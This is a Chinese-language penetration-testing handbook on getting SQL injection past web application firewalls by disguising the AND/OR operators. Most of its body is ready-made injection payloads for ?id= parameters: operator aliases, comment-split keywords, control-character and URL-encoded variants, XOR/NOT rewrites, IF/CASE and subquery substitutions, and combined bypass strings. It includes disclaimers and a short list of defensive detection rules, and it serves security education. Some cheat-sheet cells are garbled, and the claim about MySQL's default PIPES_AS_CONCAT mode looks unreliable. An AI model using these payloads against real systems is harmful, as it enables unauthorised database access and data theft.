WAF 绕过 --- AND/OR 逻辑运算符绕过手册
📋 文章目录
- 绕过核心思路
- 一、基础手法
- [1.1 运算符替代](#1.1 运算符替代)
- [1.2 注释分割关键字](#1.2 注释分割关键字)
- [1.3 数学比较替代](#1.3 数学比较替代)
- 二、进阶手法
- [2.1 换行与控制字符](#2.1 换行与控制字符)
- [2.2 反引号与括号](#2.2 反引号与括号)
- [2.3 编码绕过](#2.3 编码绕过)
- 三、高阶手法
- [3.1 逻辑重组 --- XOR 替代 OR](#3.1 逻辑重组 — XOR 替代 OR)
- [3.2 逻辑重组 --- NOT 反转](#3.2 逻辑重组 — NOT 反转)
- [3.3 函数替代](#3.3 函数替代)
- [3.4 子查询替代](#3.4 子查询替代)
- [3.5 数据库差异化绕过](#3.5 数据库差异化绕过)
- [3.6 真实 WAF 绕过示例](#3.6 真实 WAF 绕过示例)
- 四、速查表
- 五、防御建议
⚠️ 重要免责声明
本文档仅供网络安全知识教学、安全研究和合法的渗透测试(需获得明确授权)使用。所有内容均为合法的网络安全教育材料,旨在帮助安全人员了解攻击手法以更好地进行防御。
使用须知:
-
合法合规原则:本文所授知识仅可用于:
- 保护自身系统和网络安全
- 进行合法的渗透测试(必须获得系统所有者的书面授权)
- 安全研究和教育目的
- 提升网络安全意识和防御能力
-
严禁违法行为:严禁将本文知识用于任何非法活动,包括但不限于:
- 未经授权的系统入侵、数据窃取、网络攻击
- 破坏计算机信息系统
- 敲诈勒索、非法获利
- 传播恶意软件
- 其他任何违反《中华人民共和国网络安全法》及相关法律法规的行为
-
责任自负原则:任何违反法律法规使用本文知识的行为,后果由行为人自行承担全部法律责任。作者及平台不承担任何连带责任。
-
授权测试要求:进行网络安全测试前,必须获得系统所有者的明确书面授权。未经授权的测试等同于非法入侵。
-
教育目的声明:本文旨在培养网络安全防御人才,提升整体网络安全防护水平,维护网络空间安全。请读者树立正确的网络安全观,将所学知识用于正当防卫。
阅读本文即表示您已理解并同意上述免责条款,承诺仅将所学知识用于合法的网络安全防护和学习。
在 SQL 注入中,
AND和OR是最常被 WAF 和过滤函数拦截的关键字。本文档系统讲解绕过原理与手法,按难易程度分层:基础 → 进阶 → 高阶。
绕过核心思路
绕过 AND / OR 的核心思路是:用"等价逻辑"或"语法变形"替代原始关键字,使 WAF 的正则匹配不到原词,但 SQL 引擎能正确解析为等价的逻辑运算。
一、基础手法
1.1 运算符替代
用符号运算符替代文字关键字,是最基础、最常用的绕过方式。
| 原逻辑 | 替代写法 | 说明 |
|---|---|---|
AND |
&& |
MySQL 支持,等价于 AND |
OR |
` |
sql
-- 原语句
?id=1' AND 1=1 --+
?id=1' OR 1=2 --+
-- 运算符替代
?id=1' && 1=1 --+
?id=1' || 1=2 --+
MySQL
||的行为说明:
- 默认模式下,
||是逻辑 OR 运算符,等价于OR- 当设置了
PIPES_AS_CONCATSQL 模式时,||变为字符串连接符(类似CONCAT),不再是 OR- MySQL 5.7.5+ 默认开启了
PIPES_AS_CONCAT,||的行为可能是连接而非 OR可以通过
SELECT @@sql_mode;查看当前模式。如果包含PIPES_AS_CONCAT,则||是连接符,不能用作 OR 替代。
位运算符(需要数值环境):
| 原逻辑 | 替代写法 | 说明 |
|---|---|---|
AND |
& |
按位与,需要两侧为整数 |
OR |
` | ` |
sql
-- 位运算(需要数值环境)
SELECT 1 & 1; -- 结果: 1 (真)
SELECT 1 | 0; -- 结果: 1 (真)
SELECT 1 & 0; -- 结果: 0 (假)
注意:位运算符操作的是整数的二进制位,不是布尔逻辑。在 WHERE 条件中使用时,MySQL 会将表达式结果转为整数(1=真,0=假),然后进行位运算。但在某些复杂表达式中行为可能与逻辑 AND/OR 不一致。
1.2 注释分割关键字
利用多行注释在关键字中间插入注释内容,使正则无法匹配完整单词。
sql
-- 在 AND 中间插入注释
AN/**/D
O/*xxx*/R
-- 实际使用
?id=1' AN/**/D 1=1 --+
?id=1' O/*xxx*/R 1=1 --+
-- MySQL 特殊注释
?id=1' /*!50000AND*/ 1=1 --+
?id=1' /*!50000OR*/ 1=1 --+
原理:
| 阶段 | AN/**/D 的处理 |
|---|---|
| WAF 正则检测 | AN/**/D ≠ AND → 不匹配 → 绕过 |
| SQL 执行 | /**/ 被忽略 → AN/**/D = AND → 正常执行 |
注意 :与关键字绕过文档中所述一致,单行注释
--和#不能分割关键字的字母。只有多行注释/**/和 MySQL 特殊注释/*!*/可以。
1.3 数学比较替代
利用数学比较运算符构造等价逻辑条件。
sql
-- AND 的逻辑等价:两个条件都为真
-- 可以用 BETWEEN 构造范围判断
?id=1' WHERE 1 BETWEEN 1 AND 1 --+
-- 使用比较运算符构造永真/永假条件
?id=1' WHERE 1=1 --+ -- 永真(替代 AND 1=1)
?id=1' WHERE 1<>1 --+ -- 永假(替代 AND 1=2)
说明 :
WHERE 1=1并不是直接"替代"AND关键字,而是在已经闭合了原语句后,用永真条件构造新的 WHERE 子句。这种方法的适用场景有限。
二、进阶手法
2.1 换行与控制字符
利用 URL 编码的控制字符在关键字中插入不可见字符,干扰正则匹配。
| 编码 | 含义 | 说明 |
|---|---|---|
%0a |
换行 | 换行符,SQL 解析器视为空白 |
%0d |
回车 | 回车符,SQL 解析器视为空白 |
%09 |
Tab | 水平制表符 |
%0b |
垂直制表 | 垂直制表符 |
%0c |
换页 | 换页符 |
sql
-- 在 AND 前后插入换行符
?id=1'%0aAND%0a1=1
-- 在 OR 前后插入 Tab
?id=1'%09OR%091=1
-- 混合控制字符
?id=1'%0aAND%0d1=1
注意 :控制字符只能插在关键字的前后 ,不能插在关键字的字母之间 (如
A%0aN%0aD不会被执行为AND)。这与单行注释分割关键字的限制类似------SQL 解析器不会跨空白字符拼接单词。
2.2 反引号与括号
尝试用反引号或括号包裹关键字,使正则不匹配。
sql
-- 反引号包裹(不推荐,可能语法错误)
?id=1' `AND` 1=1 --+
-- MySQL 中反引号用于标识符,包裹关键字后可能被当作标识符而非运算符
-- 括号包裹逻辑表达式
?id=1' AND (1=1) --+
?id=1' OR (1=1) --+
-- 括号不改变运算符含义,但可以干扰某些正则
注意 :反引号包裹
AND在 MySQL 中通常不会被当作逻辑运算符执行,而是被当作列名/标识符。因此这种方法风险较高,可能直接语法报错。实际测试中应优先使用其他方法。
2.3 编码绕过
将 AND / OR 进行各种编码,使 WAF 正则匹配不到原始字符串。
URL 编码:
sql
-- 单次 URL 编码
AND → %41%4e%44
OR → %4f%52
?id=1' %41%4e%44 1=1 --+
?id=1' %4f%52 1=1 --+
双重 URL 编码:
sql
AND → %2541%254e%2544
OR → %254f%2552
?id=1' %2541%254e%2544 1=1 --+
编码绕过的条件:与关键字绕过文档中所述一致,URL 编码绕过是否成功取决于 WAF 检测和最终解码之间的"解码次数差"。详见《WAF 绕过 --- 关键字绕过手册》中的 URL 编码章节。
Hex / 字符编码:
sql
-- 十六进制(仅用于字符串值,不能替代关键字)
SELECT 0x414e44; -- 返回字符串 'AND'
SELECT CHAR(65,78,68); -- 返回字符串 'AND'
SELECT CHAR(79,82); -- 返回字符串 'OR'
-- 注意:这些返回的是字符串值,不是逻辑运算符
-- WHERE 0x414e44 是语法错误,因为 WHERE 后期待的是条件表达式,不是字符串值
Unicode 编码(适用于 JSON/XML 输入):
json
{"id":"1\u0041\u004e\u0044 1=1"}
三、高阶手法
3.1 逻辑重组 --- XOR 替代 OR
XOR(异或)是 MySQL 支持的逻辑运算符,可以用来构造等价的 OR 逻辑。
sql
-- XOR:两真一假返回真,两同返回假
-- a XOR b 等价于 (a AND NOT b) OR (NOT a AND b)
-- 利用 XOR 替代 OR
?id=1' XOR 1=1 --+
-- 更复杂的逻辑等价
-- OR 1=1 等价于 NOT(1=0)
-- AND 1=1 等价于 NOT(1=0 OR 1=0)(德摩根定律)
3.2 逻辑重组 --- NOT 反转
利用德摩根定律将 AND/OR 逻辑转换为 NOT 表达式。
sql
-- 德摩根定律
-- NOT (A AND B) = NOT A OR NOT B
-- NOT (A OR B) = NOT A AND NOT B
-- AND 的等价表达
AND → NOT (cond1=0 OR cond2=0)
-- OR 的等价表达
OR → NOT (cond1=0 AND cond2=0)
sql
-- 实际使用
-- 原语句: ?id=1' AND 1=1 --+
-- 用 NOT 替代:
?id=1' NOT (1=0 OR 1=0) --+
-- 原语句: ?id=1' OR 1=1 --+
-- 用 NOT 替代:
?id=1' NOT (1=0 AND 1=0) --+
3.3 函数替代
利用 MySQL 内置函数构造等价的逻辑判断,完全避开 AND / OR 关键字。
IF 函数:
sql
-- IF(condition, true_value, false_value)
-- 替代 AND 逻辑
?id=1' AND IF(1=1,1,0) --+
-- 替代 OR 逻辑
?id=1' OR IF(1=1,1,0) --+
-- 完全用 IF 替代 AND/OR
?id=1' WHERE IF(1=1 AND 1=1,1,0) --+
-- 注意:IF 内部仍可使用 AND/OR,如果 AND 也被过滤则需用其他方式
CASE WHEN:
sql
-- CASE WHEN condition THEN true_value ELSE false_value END
-- 替代 AND 逻辑
?id=1' AND CASE WHEN 1=1 THEN 1 ELSE 0 END --+
-- 替代 OR 逻辑
?id=1' OR CASE WHEN 1=1 THEN 1 ELSE 0 END --+
-- 嵌套使用
?id=1' WHERE CASE WHEN (1=1) THEN CASE WHEN (1=1) THEN 1 ELSE 0 END ELSE 0 END=1 --+
3.4 子查询替代
利用子查询的存在性判断替代 AND/OR 逻辑。
sql
-- 使用 EXISTS 替代 OR
?id=1' OR EXISTS(SELECT 1 FROM admin) --+
-- 使用子查询替代 AND
?id=1' AND (SELECT 1 FROM users LIMIT 1) --+
-- 子查询返回值作为条件
?id=1' AND (SELECT COUNT(*) FROM users)>0 --+
?id=1' OR (SELECT 1)=1 --+
3.5 数据库差异化绕过
不同数据库对逻辑运算符的支持存在差异,了解这些差异有助于在特定环境下绕过。
MySQL:
sql
-- 运算符别名
&& → AND
|| → OR(默认模式)或 连接(PIPES_AS_CONCAT 模式)
! → NOT
-- MySQL 特有
/*!50000 AND*/ -- 版本条件注释
/*!50000 OR*/ -- 版本条件注释
MSSQL:
sql
-- MSSQL 不支持 && 和 || 作为逻辑运算符
-- 使用位运算
AND → & -- 按位与(整数环境)
OR → | -- 按位或(整数环境)
-- 注意:MSSQL 中 || 不是 OR,| 才是按位或
Oracle:
sql
-- Oracle 中 || 是字符串连接符,不是 OR
-- 使用 AND/OR 关键字或以下方式
AND → 在 PL/SQL 中无运算符别名
OR → 在 PL/SQL 中无运算符别名
-- Oracle 不支持 && 作为逻辑 AND
3.6 真实 WAF 绕过示例
以下组合多种手法的真实绕过示例:
sql
-- MySQL 特殊注释 + 运算符
?id=1'/*!50001AND*/1=1
?id=1'/*!50001OR*/1=1
-- 换行 + 关键字
?id=1'%0aOR%0a1=1
-- 注释分割 + 运算符
?id=1' AN/*!*/D 1=1
-- 运算符 + 子查询
?id=1' && (SELECT 1)=1
-- 混合绕过
?id=1'/*!50001AN*//*!*/D*/1=1
?id=1'%0a/*!50000OR*/%0a1=1
四、速查表
| 原语句 | 基础替代 | 进阶替代 | 高阶替代 |
|---|---|---|---|
AND 1=1 |
&& 1=1 |
AN/**/D 1=1 |
NOT(1=0 OR 1=0) |
OR 1=1 |
` | 1=1` | |
AND 1=1 |
--- | A%0aN%0aD 1=1 |
IF(1=1,1,0) |
OR 1=1 |
--- | %0aOR%0a1=1 |
CASE WHEN 1=1 THEN 1 ELSE 0 END |
AND 1=1 |
BETWEEN 1 AND 1 |
/*!50000AND*/ 1=1 |
(SELECT 1)=1 |
OR 1=1 |
--- | %4f%52 1=1 |
EXISTS(SELECT 1 FROM admin) |
注意 :
A%0aN%0aD形式(在字母间插入控制字符)实际上不能 被 MySQL 解析为AND,因为 SQL 解析器不会跨空白字符拼接单词。此条仅列出以示区别,实际应使用AN/**/D或%0aAND%0a(控制字符在关键字前后)。
五、防御建议
WAF 正则规则应覆盖以下维度:
- 运算符别名检测 :同时检测
&&、||、!等运算符别名 - 注释分割检测 :去除注释内容后再匹配关键字(
/\/\*.*?\*\//→ 删除 → 再匹配) - 控制字符过滤 :检测
%0a、%0d、%09等控制字符 - 递归 URL 解码:对输入进行递归解码直到结果不再变化
- 函数检测 :检测
IF(、CASE WHEN、EXISTS(等可能用于逻辑替代的函数 - 位运算检测 :检测
&、|在 WHERE 条件中的使用 - MySQL 特殊注释 :检测
/*!模式 - 统一字符集:UTF-8 编码,避免字符集差异导致的绕过
⚠️ 再次重申免责声明
重要提醒
本文所有关于 WAF 绕过技术的内容仅供以下合法用途:
- 安全防护:帮助安全工程师了解攻击手法,设计更完善的防御策略
- 授权测试:在获得明确书面授权的前提下进行渗透测试
- 教育培训:用于网络安全相关的教学和培训
- 研究学习:个人学习和技术研究
法律与道德准则
- 遵守法律法规:严格遵守《中华人民共和国网络安全法》、《刑法》等相关法律法规
- 尊重他人权益:不得侵犯他人的隐私权、财产权和数据安全
- 报告安全漏洞:发现安全漏洞时应通过正规渠道向相关方报告,不得利用漏洞进行非法活动
- 维护网络秩序:积极维护清朗的网络空间,举报违法行为
读者承诺
我已阅读并理解本文的免责声明,郑重承诺:
- 仅将所学知识用于合法的网络安全防护、研究和学习
- 不参与任何未经授权的网络活动
- 在进行安全测试前确保获得合法授权
- 发现安全问题及时通过正规渠道报告
- 积极维护网络空间的安全与稳定
网络安全,人人有责。让我们共同构建安全、可信的网络环境!
最后更新:2026年8月1日
作者:网络安全教育团队
版权声明:本文仅供学习交流,转载请注明出处。严禁用于任何非法用途。